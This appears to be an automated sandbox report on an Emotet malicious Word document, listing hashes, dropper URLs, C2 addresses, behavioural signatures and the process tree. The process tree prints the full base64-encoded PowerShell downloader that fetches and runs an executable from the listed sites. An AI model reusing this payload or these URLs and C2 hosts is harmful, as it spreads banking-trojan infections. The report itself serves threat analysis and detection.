emotet | 7874a727f8ba83b97c4889bdde4b39fe644e52279b8f25336c1f7b03ee7ea5b9

General

Target

emotet_e1_7874a727f8ba83b97c4889bdde4b39fe644e52279b8f25336c1f7b03ee7ea5b9_2020-07-29__071700._doc.doc
Size

172KB
MD5

2e5604fc710cb5f7d0802eed16d9974b
SHA1

1d3b14e0647a32071714a9c318e7ba88fcac9b36
SHA256

7874a727f8ba83b97c4889bdde4b39fe644e52279b8f25336c1f7b03ee7ea5b9
SHA512

58104d7c98bd3dcaf7d32b8ab75c3051ba1ce631f38e84ad5dba74319d364d88f9d9efafb54508ea7dbf9812af4dce2a5dc2ab61f74dd2b6d04a7e5d8df7056e

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://eldridgelondon.com/wp-admin/QS/

exe.dropper

http://empmtg.com/guestbook/uQ4qC339/

exe.dropper

http://elisent.com/assets/ReH6966/

exe.dropper

http://elifmakina.net/ww4w/WnRLv/

exe.dropper

http://eliteseobusiness.com/takeout.eliteseobusiness.com/GYa538680/

Extracted

Family

emotet

C2

179.60.229.168:443

185.94.252.13:443

189.218.165.63:80

77.90.136.129:8080

217.199.160.224:7080

104.131.41.185:8080

2.47.112.152:80

185.94.252.27:443

186.250.52.226:8080

51.255.165.160:8080

68.183.170.114:8080

191.99.160.58:80

104.131.103.37:8080

181.31.211.181:80

202.62.39.111:80

83.169.21.32:7080

87.106.46.107:8080

72.47.248.48:7080

177.75.143.112:443

190.17.195.202:80

rsa_pubkey.plain

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2980	1724	powersheLL.exe	68

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2980	powersheLL.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3812 wrote to memory of 1136	3812	903.exe	78
PID 3812 wrote to memory of 1136	3812	903.exe	78
PID 3812 wrote to memory of 1136	3812	903.exe	78

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\winhttp\mycomput.exe	903.exe

Executes dropped EXE 2 IoCs

pid	Process
3812	903.exe
1136	mycomput.exe

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3812-6-0x0000000000650000-0x000000000065C000-memory.dmp	emotet
behavioral2/memory/1136-9-0x0000000001FE0000-0x0000000001FEC000-memory.dmp	emotet

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
2584	WINWORD.EXE
3812	903.exe
3812	903.exe
1136	mycomput.exe
1136	mycomput.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2584	WINWORD.EXE
2584	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2980	powersheLL.exe
2980	powersheLL.exe
2980	powersheLL.exe
1136	mycomput.exe
1136	mycomput.exe
1136	mycomput.exe
1136	mycomput.exe
1136	mycomput.exe
1136	mycomput.exe

Blacklisted process makes network request 1 IoCs

flow	pid	Process
28	2980	powersheLL.exe

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_7874a727f8ba83b97c4889bdde4b39fe644e52279b8f25336c1f7b03ee7ea5b9_2020-07-29__071700._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:2584

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABOAFYARgBLAEwAdQB6AGcAPQAnAEoAUQBQAEkASgBiAHYAZQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBgAEMAYABVAFIAYABpAHQAWQBQAFIATwBUAG8AQwBgAE8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAFAAUwBVAEMAVAB6AGMAZAAgAD0AIAAnADkAMAAzACcAOwAkAFcAWABDAEQAWgBwAHMAbgA9ACcATABHAFoAUQBTAG8AZQBvACcAOwAkAEQASABFAEMAUwBpAG0AeQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUABTAFUAQwBUAHoAYwBkACsAJwAuAGUAeABlACcAOwAkAFMAVwBLAEQATAB0AGMAaQA9ACcASABJAFMARwBPAGIAawBnACcAOwAkAEoATABEAEIATABpAGkAZgA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwAnACsAJwBiAGoAZQBjAHQAJwApACAAbgBFAHQALgBXAGUAYgBjAGwAaQBFAE4AVAA7ACQAWQBRAEwAUQBZAGcAaQBnAD0AJwBoAHQAdABwADoALwAvAGUAbABkAHIAaQBkAGcAZQBsAG8AbgBkAG8AbgAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AUQBTAC8AKgBoAHQAdABwADoALwAvAGUAbQBwAG0AdABnAC4AYwBvAG0ALwBnAHUAZQBzAHQAYgBvAG8AawAvAHUAUQA0AHEAQwAzADMAOQAvACoAaAB0AHQAcAA6AC8ALwBlAGwAaQBzAGUAbgB0AC4AYwBvAG0ALwBhAHMAcwBlAHQAcwAvAFIAZQBIADYAOQA2ADYALwAqAGgAdAB0AHAAOgAvAC8AZQBsAGkAZgBtAGEAawBpAG4AYQAuAG4AZQB0AC8AdwB3ADQAdwAvAFcAbgBSAEwAdgAvACoAaAB0AHQAcAA6AC8ALwBlAGwAaQB0AGUAcwBlAG8AYgB1AHMAaQBuAGUAcwBzAC4AYwBvAG0ALwB0AGEAawBlAG8AdQB0AC4AZQBsAGkAdABlAHMAZQBvAGIAdQBzAGkAbgBlAHMAcwAuAGMAbwBtAC8ARwBZAGEANQAzADgANgA4ADAALwAnAC4AIgBTAGAAUABsAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEsAUwBHAFYAUwBnAHgAdgA9ACcASwBBAFcAVABFAG0AcABtACcAOwBmAG8AcgBlAGEAYwBoACgAJABOAFoAWQBUAFYAdgByAGsAIABpAG4AIAAkAFkAUQBMAFEAWQBnAGkAZwApAHsAdAByAHkAewAkAEoATABEAEIATABpAGkAZgAuACIARABPAHcAbgBgAGwAbwBBAEQAZgBgAEkAYABMAEUAIgAoACQATgBaAFkAVABWAHYAcgBrACwAIAAkAEQASABFAEMAUwBpAG0AeQApADsAJABIAFQATABKAEIAcgBuAGwAPQAnAEkARQBSAFgARgBsAGYAdQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEQASABFAEMAUwBpAG0AeQApAC4AIgBsAGAARQBOAEcAYABUAGgAIgAgAC0AZwBlACAAMwA3ADMANwAwACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAGAAUgBFAGAAQQB0AEUAIgAoACQARABIAEUAQwBTAGkAbQB5ACkAOwAkAFgARABFAEYAUQBqAHMAaQA9ACcATgBFAEcAUgBDAGEAZABuACcAOwBiAHIAZQBhAGsAOwAkAEIAUQBPAEkASABiAG8AcgA9ACcATQBWAEwATwBLAHEAbwBvACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEQATgBWAFoASgBpAGkAeAA9ACcAQwBNAFAAWABCAHkAaABzACcA
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:2980

C:\Users\Admin\903.exe
C:\Users\Admin\903.exe
1⤵
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3812
- C:\Windows\SysWOW64\winhttp\mycomput.exe
  "C:\Windows\SysWOW64\winhttp\mycomput.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  - Suspicious behavior: EnumeratesProcesses
  PID:1136

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1136-9-0x0000000001FE0000-0x0000000001FEC000-memory.dmp

Filesize
48KB

Download
memory/3812-6-0x0000000000650000-0x000000000065C000-memory.dmp

Filesize
48KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads